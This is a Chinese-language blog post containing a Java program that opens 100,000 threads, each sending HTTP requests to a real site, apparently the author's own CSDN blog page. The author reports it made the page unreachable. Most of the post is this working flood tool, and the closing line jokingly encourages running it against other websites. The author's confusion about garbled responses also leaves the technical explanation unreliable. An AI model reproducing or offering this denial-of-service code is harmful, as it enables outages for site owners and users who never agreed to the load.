原来学过socket编程,因为最近我也在做自己的服务器,但是没有加任何安全机制,我就想到了这个服务器可以承受的最大并发量是多少,当然这是和服务器的内存有关的。
如:www.lipyi.com这个网址,同一时间有千万的用户访问(也可能是同一用户),那么服务器是不是要崩掉了?这时候我考虑到很多网址后面都有时间戳,原来就是避免这个问题的。另外也看到有网友说的可以过滤掉同一IP,这也是一个不错的办法,但是感觉对于很多小型的网站来说,时间戳和过滤IP是没有做的。
下面是我用java写的访问CSDN中我的个人主页,当运行这个程序时,我的主页确实打不开了。累感不爱。
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import java.net.InetAddress;
import java.net.Socket;
public class TestServer
{
public final static String HOST = "blog.csdn.net";
public final static String PATH = "/yilip";
public final static int PORT = 80;
public final static int PEOPLE_NUM = 10*10000;
public static int num = 0;
/**
* Author: Lip
*/
public static void main(String[] args)
{
for (int i = 0; i < PEOPLE_NUM; i++)
{
System.out.println("有多少人:" + num);
ClientThread thread = new ClientThread(false);
thread.start();
}
}
}
class ClientThread extends Thread
{
Socket socket = null;
BufferedReader br = null;
PrintWriter pw = null;
boolean isout;//是否输出返回结果
public ClientThread(boolean isout)
{
this.isout = isout;
}
public void run()
{
TestServer.num++;
try
{
this.sleep(10*1000);
socket = new Socket(
InetAddress.getByName(TestServer.HOST),
TestServer.PORT);
// 读取服务器数据
br = new BufferedReader(new
InputStreamReader(
socket.getInputStream(),"utf-8"));
pw = new PrintWriter((new OutputStreamWriter(
socket.getOutputStream())));
StringBuffer requestHeader = new StringBuffer();
requestHeader
.append("GET " + TestServer.PATH
+ " HTTP/1.1\n")
.append("HOST:" + TestServer.HOST + "\n")
.append("Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\n")
.append("Accept-Encoding:gzip, deflate, sdch\n")
.append("Accept-Language:zh-CN,zh;q=0.8\n")
.append("Cache-Control:no-cache\n")
.append("User-Agent:Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.89 Safari/537.36\n")
.append("Encoding:UTF-8\n")
.append("Connection:keep-alive" + "\n")
.append("\n");
if (isout)
System.out.println(requestHeader.toString());
pw.println(requestHeader);//
pw.flush();
String line = "";
if(isout)
while((line=br.readLine())!=null)
{
System.out.println(line);
}
System.out.println("Get the data from csdn......");
} catch (Exception e)
{
e.printStackTrace();
} finally
{
try
{
System.out.println("close......");
// br.close();
pw.close();
socket.close();
} catch (IOException e)
{
e.printStackTrace();
}
}
}
}
遇到的一个问题,就是返回结果总是乱码,我在这里
br = new BufferedReader(new
InputStreamReader(
socket.getInputStream(),"utf-8"))
设置了多种编码都还是乱码,但是我查看浏览器中编码是UTF-8,不知道这是为什么?
没事运行这个程序,给别的网站搞点压力,还是不错滴。。。。